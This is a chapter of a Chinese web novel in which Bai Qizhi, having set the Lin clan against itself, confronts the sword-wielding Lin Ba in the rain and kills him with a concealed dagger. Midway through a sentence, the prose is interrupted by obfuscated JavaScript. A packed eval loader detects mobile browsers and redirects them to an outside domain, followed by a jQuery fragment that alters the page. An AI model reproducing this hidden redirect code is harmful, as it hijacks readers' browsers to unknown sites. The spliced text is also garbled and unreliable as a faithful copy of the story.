白栖枝什么都知道。
早在她没有回林家的时候,她就已经什么都知道了。
林家那些人一直把她当傻子,她自然也乐得当一个傻子。
可她万万没想到,那群草包里竟还藏了个聪明人。
那人不仅洞悉到了她的坏心思,清楚晓得林家那些人的弊端,甚至还预见了林家的未来。
所以他回来了,回来找她报仇。
“聪明人——何不与我们同谋?”
天还下着雨,淅淅沥沥,像银针,几乎要将地面戳穿。
那人就站在雨幕里,白栖枝嘻嘻笑着,就坐在檐牙下。
有雨水在她面前串成线,看起来就像用水晶做的珠帘。
两人隔了这一帘互相对望,各自猜着彼此的心情。
林八爷自知白栖枝绝不会让他们活着回去——这女人素来如此,看着一副柔弱妇人的模样,实际上心肠却比这世上任何人都要黑。
也是,白家灭门,她是从死人堆里爬出来的牲口,又岂能像常人一般,长出来一副红心肠?
林八爷并不知道,在他回到林府时,千里之外的紫竹林内,他的那些好兄长好子侄们,早已上演了一副兄弟攻、子嗣相杀的好戏码。
他提着剑。
这剑还是他回来路上买来的。
他是个文人,不会舞枪弄剑,但杀人这事儿谁不会?
更何况白栖枝还是个手无缚鸡之力的柔弱女子,就算以力气相压,她也未必能及他半分。
他如此气恼,一旁的白栖枝却还装作一副无辜模样笑眯眯地看着她:“不是说好要回去的么?八叔怎么一个人回来了?”
她早知道林八会回来。
这人向来聪明,拱火使林家人来鸠占鹊巢的是他,戳穿她那些小小坏心眼的是他,预见林家那些人未来的还是他。
她早知他会来,她真的等他好久了。
白栖枝素来喜欢与聪明人共事,因为和聪明人说话总是省时、省力、省事。
她是真心希望能将林八爷收之麾下的。
所以,当林八爷怒目看她凝眉不语的时候,她也不再伪装出那副为人所辨别不出的无辜神情,只是淡然一笑,说:
“聪明人——何不与我们同谋?”
“白栖枝!”这倒是第一人还记得白栖枝的全名,他骂,声音穿透雨幕,几乎是从牙缝里挤出字来,“你当真以为这世上没人能动上你分毫?!”
“八叔这话说得,栖枝不过是一介质弱女流,又岂敢与天下人为敌?”
“质弱女流?”林八爷冷笑一声,雨水顺着他的下巴滴落,“倘若你真是一介弱女房子,白家满门被屠的那夜,你又是怎么活下来的?别以为我不知道,你说着要放我们回去,却早已在路上做了埋伏——想必,我那些兄弟如今定是如你所想,在路上自相残杀!白栖枝,你认不认?!”
认不认?
白栖枝只觉得颇为好笑。
这事叫她如何认呢?
林家内斗,本就应该与她无关。
都说百足之虫断而不蹶,想要一个大家族没落下来,非是要让他们自己内里斗起来,才能令他们一败涂地[1]。而她,只是略施小计,从本就摇摇欲坠的大厦中略微抽出一个小木块。
轰——
眼看他起朱楼,眼看他宴宾客,眼看他楼塌了[2]。
这又怎么能怪她呢?
白栖枝不想答他。
她依旧是高高立在檐牙下,踩着青石阶,笑着问道:“倘若如八叔所说,此事是我一手策划,而你,明明早就看穿了我的那些小伎俩,却为何不去阻止?是不想,还是不能?”
最后一句反问如同一把利刃刺穿林八爷的心脏。
心石骤然抽痛起来,林八爷握着剑的手微微发抖。
他当然知道白栖枝在嘲笑他,林家内乱,这是他早早洞穿了的。自打白栖枝佯装有病放权于诸位兄弟侄儿时,他就早已知道她要做什么。他也曾尝试过警醒自己的兄弟,可他们欺他年少,说,他们早生他十几年,难道阅历还不如他一个刚过而立之年的臭小子不成?!他想要劝那些侄儿,他们却说,八叔你时至今日还没有家世,不懂养家的难处,侄儿我有妻有儿有妾要养,他们就等着我带着这笔钱回去过好日子呢!哪像您,一身空空,活得如此轻松?还是不要误了我们这些要养家的人的正事了!
林八爷没有妻儿。
他有隐疾,这隐疾去宫里做太监也不会太痛苦。
他娶不了妻,更遑论生子。
他从小到大就是林家的怪胎,是整个宗族的罪人!
好在他脑子在众人中还算上乘,虽不能娶妻生子延续香火,却尚可以为家族出谋划策,一开始众人嘲他发癫,可后来,他的论断几次应验,众人渐渐地也就信了,说他虽然身体不行,脑子倒还灵光得很,也算是能为家族做些事。
可饶是如此,他们还是会在背地里偷偷嘲他,连带着他们的子嗣也对他这个叔伯十分轻视。
只有林惊堂。
他的这位兄长从未轻视过他,甚至在临走前还说要带年幼的他一起出去闯荡,他想了,还是怯懦,于是留在村子里,做一个被反复嘲讽的丑角儿。
他知林惊堂对他好,可在庞大家族面前,谁人的牺牲都不足为道。
一切只为重振家族荣光!
所以,在他听说林听澜失踪时,他第一时间撺掇众人来淮安寻找林府,欲图用林听澜的财力振兴整个家族。沈忘尘一个男宠不足为惧,可谁知道半路又杀出一个白栖枝?
这人狠心、冷情,不好愚弄,更遑论操控?
林八爷早知这是个祸害,他劝七叔公及诸位兄弟早日将她除之后快,哪成想兄弟们情敌又胆小,只杀她一次便不将她放在眼里——明明在村内,他们就算将自己发妻浸猪笼也不眨眼一下,却缘何在这一个小姑娘面前露怯情敌?
可在对上白栖枝那双黑深深的眼时,他刹那间明白了,这人不是常人,她是从尸山血海里爬出来的厉鬼,装作一副良善好亲近的模样,实则那副神仙似的皮囊之下,是比谁都狠厉的杀心。
他早知白栖枝不会放他们回村里,他早知白栖枝要报复他们。
凭他一己之力螳臂当车已是不能。
那、他就要凭着这一把剑,除去面前这个粉红骷髅,以奠他死去的兄弟侄儿!!!
见林八爷不为所动,白栖枝也不想与他对峙太久。
“回去吧。”她说,“八叔,你是个聪明的,谅你自入府以来也未曾如何刁难于我,我给你指条路,你回去罢。如果我没记错,你的那些兄弟们在村里还有许多妻妾小儿要奉养,既然你如此在意他们,也不想见嫂嫂、婶婶们日后在世上飘零凄苦、无处可依吧?我答应你,放你回去,从今往后,你我井水不犯河水,我照契子上付月俸给你,连带着你兄弟们的那份一起。”
在他们所签订的契子上,白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826341|157766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
栖枝写了个好价钱。
倘若那些金银附在一人身上,足以让他三代无忧。
这样的好事,世上十成——不,话不说满,九成人都会为此动心。
白栖枝肆意地笑看着林八爷:“八叔,回去吧,倘若你真重视宗族情谊,就回去好好绵延他们的子嗣,不要在这儿胡闹,这对谁都没好处。”
林八爷静静地听着,竟觉得她这话有几分道理。
提着剑攥出青筋的手渐渐放松下来,他略微思索了一下,什么都没说,转身便走。
事情如此,白栖枝也没有留下的余地,她缓缓转身。
“枝枝!”
一声惊呼,沈忘尘方来看见的便是林八爷调转回头提着长剑朝白栖枝刺去!
噗呲——
刀剑入肉,血红洇湿白栖枝整个肩头。
但……
白栖枝早有防备,却不躲不闪,反而迎了上去。剑尖刺入她左肩胛骨的刹那,她的右手从袖中滑出一把细长的匕首,精准地捅入林八爷腹部。
袖里出刃的锋利匕首没入林八爷的腹部,听到惊呼的刹那,她甚至还有余力轻轻往他这里瞥上一眼,手却从未停顿地在林八爷小腹前猛然拧了半圈。
“八叔。”白栖枝回望向脸上爬满惊愕、恼怒、不甘的林八爷,神情淡漠,仿佛面前的不是人,而是一个等待宰杀的肉食牲口,“我说我给你指条路,却何曾说过是生路还是死路?”
话音落下,有侍卫从门口处倾身而来。
原是白栖枝早就在府门口安排好了侍卫,待到林八爷甫一脚踏出府门,他们就会将他就地斩杀。
白栖枝知道他是个聪明的,但不一定知道他也是个有血性的。
她猜,林八爷的结局无过两种:
一种,是被侍卫乱刀砍死。
另一种,就是被她亲手杀死。
“白老板之前不是来订过一次袖箭么?怎么?不够用?”
“不。两步开外箭快,两步之内刀快,所以不是不够用,而是——”
不、够、快。
噗呲——
又是一声响,白刀子进去红刀子出来,刀刃上黏连着血肉,白栖枝甚至能感觉到林八爷握着剑的那只手在颤颤发抖。
不要怕啊,我们一痛还一痛。
我不是叫你也来刺我了么?可谁知道你不中用啊!只一下就被我捉住刀刃,这不怪我。
怪你。
眼见林八爷痛苦倒地,血就着青石板流落一地,甚至有的顺着青石阶流下,扑在凄惶惶的地上,好生孤寂。
这是沈忘尘第一次见白栖枝杀人。
没有犹豫、没有胆怯,长长的匕首就这样刺入林八爷的腹中,倘若这匕首再长一些,他定信,白栖枝会将人捅穿。
他早知晓的,当年破庙内,她能狠心咬断那混混的小指,就能决计狠下心来将人手刃。
只是沈忘尘没想到,白栖枝杀起人来会如此痛快,没有片刻的犹豫、没有半点多余的动作,甚至在捉住林八爷朝她刺来的刀锋时,她藏在袖中的利刃就早已率先没入林八爷的腹中。
那一地的血红,映着她眉心的那点殷红。
此时此刻,白栖枝并不像街头巷尾传言的那般是个小神仙似得人物,反倒像个杀神,斩杀一切所碍住她步履的人。
只是这样眼睁睁地看着,沈忘尘就发觉自己嘴角在微微上翘。
他说:“枝枝啊,你造下杀孽了。”